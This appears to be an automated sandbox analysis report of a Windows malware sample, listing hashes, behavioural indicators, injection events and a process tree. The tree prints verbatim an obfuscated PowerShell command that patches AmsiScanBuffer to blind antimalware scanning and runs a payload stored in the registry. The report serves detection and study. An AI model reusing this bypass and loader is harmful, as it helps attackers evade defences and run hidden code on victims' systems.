Analysis
-
max time kernel
64s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
31/10/2024, 02:17
Static task
static1
Behavioral task
behavioral1
Sample
$sxr-cmd.exe
Resource
win11-20241007-en
Errors
General
-
Target
$sxr-cmd.exe
-
Size
163KB
-
MD5
ad739cf69f6437ce3d5a59ff684a32d6
-
SHA1
31629cacc22142d146c10f0147b7cc784c6268ca
-
SHA256
236e138954c9bce0ccd53f98247728e7c979df19d604a4e6f98f34ddb28fc3de
-
SHA512
f1c23fc0fd8c275db05e4f75d3c08bec7eed99424218589ce93a673087b670f166247f13b208eed5ac6e553ca98523df0c602034742cd24995779a4905dc0334
-
SSDEEP
3072:jQpsYu4jPpKh3aKHQijbK1kkRsztZaFFZJPr5Xzn7RPV8PdbbZDXIa1rr:jQpsYu4jPpKhq2Qijck4sztZaPZxrN7I
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4016 created 628 4016 powershell.EXE 5 -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx svchost.exe -
pid Process 4016 powershell.EXE -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4016 set thread context of 3584 4016 powershell.EXE 79 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language $sxr-cmd.exe -
Modifies data under HKEY_USERS 61 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\CTF\RemoteSession\KeyboardLayout = "0" winlogon.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\MuiCached\MachinePreferredUILanguages = 65006e002d005500530000000000 winlogon.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "44" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\CTF\RemoteSession winlogon.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\CTF\RemoteSession\Profile winlogon.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\CTF\RemoteSession\CLSID winlogon.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4016 powershell.EXE 4016 powershell.EXE 4016 powershell.EXE 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 2880 Process not Found 2880 Process not Found 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe 3584 dllhost.exe -
Suspicious behavior: LoadsDriver 64 IoCs
pid Process 3388 Process not Found 3696 Process not Found 4428 Process not Found 3480 Process not Found 1832 Process not Found 4856 Process not Found 460 Process not Found 876 Process not Found 3332 Process not Found 4600 Process not Found 1648 Process not Found 4136 Process not Found 948 Process not Found 4696 Process not Found 3932 Process not Found 1508 Process not Found 2656 Process not Found 2160 Process not Found 1580 Process not Found 2632 Process not Found 4360 Process not Found 2384 Process not Found 1768 Process not Found 2588 Process not Found 4344 Process not Found 2488 Process not Found 2704 Process not Found 1736 Process not Found 2624 Process not Found 2988 Process not Found 3956 Process not Found 1620 Process not Found 3188 Process not Found 1332 Process not Found 1160 Process not Found 1140 Process not Found 1672 Process not Found 2952 Process not Found 4968 Process not Found 4724 Process not Found 5004 Process not Found 4832 Process not Found 3756 Process not Found 4524 Process not Found 232 Process not Found 1120 Process not Found 2072 Process not Found 4480 Process not Found 2056 Process not Found 3056 Process not Found 4412 Process not Found 1560 Process not Found 3460 Process not Found 2228 Process not Found 1148 Process not Found 3888 Process not Found 2880 smss.exe 3784 Process not Found 1848 Process not Found 3732 Process not Found 1412 Process not Found 3136 Process not Found 3832 Process not Found 2864 Process not Found -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 4016 powershell.EXE Token: SeDebugPrivilege 4016 powershell.EXE Token: SeDebugPrivilege 3584 dllhost.exe Token: SeShutdownPrivilege 628 winlogon.exe Token: SeShutdownPrivilege 3300 Explorer.EXE Token: SeCreatePagefilePrivilege 3300 Explorer.EXE Token: SeShutdownPrivilege 3300 Explorer.EXE Token: SeCreatePagefilePrivilege 3300 Explorer.EXE Token: SeBackupPrivilege 1460 svchost.exe Token: SeRestorePrivilege 1460 svchost.exe Token: SeShutdownPrivilege 628 winlogon.exe Token: SeAuditPrivilege 2268 svchost.exe Token: SeRestorePrivilege 1308 svchost.exe Token: SeBackupPrivilege 1308 svchost.exe Token: SeShutdownPrivilege 628 winlogon.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3300 Explorer.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2244 LogonUI.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 4016 wrote to memory of 3584 4016 powershell.EXE 79 PID 3584 wrote to memory of 628 3584 dllhost.exe 5 PID 3584 wrote to memory of 692 3584 dllhost.exe 7 PID 3584 wrote to memory of 976 3584 dllhost.exe 12 PID 692 wrote to memory of 2680 692 lsass.exe 44 PID 3584 wrote to memory of 432 3584 dllhost.exe 13 PID 692 wrote to memory of 2680 692 lsass.exe 44 PID 692 wrote to memory of 2680 692 lsass.exe 44 PID 3584 wrote to memory of 428 3584 dllhost.exe 14 PID 692 wrote to memory of 2680 692 lsass.exe 44 PID 692 wrote to memory of 2680 692 lsass.exe 44 PID 3584 wrote to memory of 704 3584 dllhost.exe 15 PID 3584 wrote to memory of 1052 3584 dllhost.exe 16 PID 3584 wrote to memory of 1060 3584 dllhost.exe 17 PID 3584 wrote to memory of 1168 3584 dllhost.exe 19 PID 3584 wrote to memory of 1188 3584 dllhost.exe 20 PID 3584 wrote to memory of 1264 3584 dllhost.exe 21 PID 3584 wrote to memory of 1308 3584 dllhost.exe 22 PID 3584 wrote to memory of 1380 3584 dllhost.exe 23 PID 3584 wrote to memory of 1460 3584 dllhost.exe 24 PID 3584 wrote to memory of 1468 3584 dllhost.exe 25 PID 3584 wrote to memory of 1540 3584 dllhost.exe 26 PID 3584 wrote to memory of 1548 3584 dllhost.exe 27 PID 3584 wrote to memory of 1700 3584 dllhost.exe 28 PID 3584 wrote to memory of 1740 3584 dllhost.exe 29 PID 3584 wrote to memory of 1760 3584 dllhost.exe 30 PID 3584 wrote to memory of 1852 3584 dllhost.exe 31 PID 3584 wrote to memory of 1872 3584 dllhost.exe 32 PID 3584 wrote to memory of 1936 3584 dllhost.exe 33 PID 3584 wrote to memory of 1948 3584 dllhost.exe 34 PID 628 wrote to memory of 2880 628 winlogon.exe 144 PID 628 wrote to memory of 2880 628 winlogon.exe 144 PID 3584 wrote to memory of 2880 3584 dllhost.exe 144 PID 3584 wrote to memory of 1124 3584 dllhost.exe 35 PID 3584 wrote to memory of 1348 3584 dllhost.exe 36 PID 628 wrote to memory of 2244 628 winlogon.exe 87 PID 628 wrote to memory of 2244 628 winlogon.exe 87 PID 3584 wrote to memory of 2244 3584 dllhost.exe 87 PID 3584 wrote to memory of 2120 3584 dllhost.exe 37 PID 3584 wrote to memory of 2268 3584 dllhost.exe 39 PID 3584 wrote to memory of 2404 3584 dllhost.exe 40 PID 3584 wrote to memory of 2528 3584 dllhost.exe 41 PID 3584 wrote to memory of 2536 3584 dllhost.exe 42 PID 3584 wrote to memory of 2568 3584 dllhost.exe 43 PID 3584 wrote to memory of 2680 3584 dllhost.exe 44 PID 3584 wrote to memory of 2696 3584 dllhost.exe 45 PID 3584 wrote to memory of 2736 3584 dllhost.exe 46 PID 3584 wrote to memory of 2744 3584 dllhost.exe 47 PID 3584 wrote to memory of 2752 3584 dllhost.exe 48 PID 3584 wrote to memory of 3020 3584 dllhost.exe 49 PID 3584 wrote to memory of 2332 3584 dllhost.exe 50 PID 3584 wrote to memory of 3108 3584 dllhost.exe 51 PID 3584 wrote to memory of 3300 3584 dllhost.exe 52 PID 3584 wrote to memory of 3432 3584 dllhost.exe 53 PID 3584 wrote to memory of 3448 3584 dllhost.exe 54 PID 3584 wrote to memory of 3824 3584 dllhost.exe 57 PID 3584 wrote to memory of 3908 3584 dllhost.exe 58
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:432
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6cc69719-b0d9-49c2-921c-b7413cac5558}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3584
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a00055 /state1:0x41c64e6d2⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2244
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:692
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:976
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:704
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1052
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1060
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1168
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1188
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EZpvJkHDmeNo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cdqVmcYyXtflfi,[Parameter(Position=1)][Type]$oBGDApEMiW)$ZuLfAeVguyN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+'m'+'o'+''+'r'+'y'+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+'t'+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+[Char](108)+''+'e'+''+'d'+''+','+'A'+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+',A'+[Char](117)+'t'+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$ZuLfAeVguyN.DefineConstructor('RT'+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$cdqVmcYyXtflfi).SetImplementationFlags('Ru'+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$ZuLfAeVguyN.DefineMethod(''+[Char](73)+''+'n'+''+'v'+'o'+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+'bli'+[Char](99)+''+[Char](44)+'H'+'i'+'de'+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'Ne'+'w'+'S'+[Char](108)+''+'o'+'t,Vi'+'r'+''+'t'+''+[Char](117)+'a'+'l'+'',$oBGDApEMiW,$cdqVmcYyXtflfi).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Man'+[Char](97)+'g'+[Char](101)+'d');Write-Output $ZuLfAeVguyN.CreateType();}$UryBJFhLrgcHz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t.W'+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+'N'+'a'+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$FgPlhQIzTxzDLK=$UryBJFhLrgcHz.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+'A'+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KfSPkJWboNAuNFexjpm=EZpvJkHDmeNo @([String])([IntPtr]);$AHcacLIBNOTQvXBDmGOfXN=EZpvJkHDmeNo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TJMKQyQDJwT=$UryBJFhLrgcHz.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'od'+'u'+''+'l'+'eH'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+'l')));$xzELYkuCteONeZ=$FgPlhQIzTxzDLK.Invoke($Null,@([Object]$TJMKQyQDJwT,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$iDfLTRKxMOeOFnBPv=$FgPlhQIzTxzDLK.Invoke($Null,@([Object]$TJMKQyQDJwT,[Object]('V'+'i'+'r'+'t'+''+'u'+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+'t'+'e'+'c'+[Char](116)+'')));$vYQaXCS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xzELYkuCteONeZ,$KfSPkJWboNAuNFexjpm).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+'.'+'dll');$huCHWEuHvJagNmTjq=$FgPlhQIzTxzDLK.Invoke($Null,@([Object]$vYQaXCS,[Object](''+[Char](65)+'ms'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'f'+'e'+''+[Char](114)+'')));$jabQATbbKE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iDfLTRKxMOeOFnBPv,$AHcacLIBNOTQvXBDmGOfXN).Invoke($huCHWEuHvJagNmTjq,[uint32]8,4,[ref]$jabQATbbKE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$huCHWEuHvJagNmTjq,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iDfLTRKxMOeOFnBPv,$AHcacLIBNOTQvXBDmGOfXN).Invoke($huCHWEuHvJagNmTjq,[uint32]8,0x20,[ref]$jabQATbbKE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](115)+''+'x'+'r-'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4008
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1264
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1308
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1380
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1460 -
C:\Windows\system32\sihost.exesihost.exe2⤵PID:3020
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1468
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1540
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1548
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1700
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1740
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1760
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1852
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1872
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1936
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1948
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1124
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1348
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2120
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2404
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2528
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2536
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2568
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2680
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2696
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2736
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2744
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2752
-
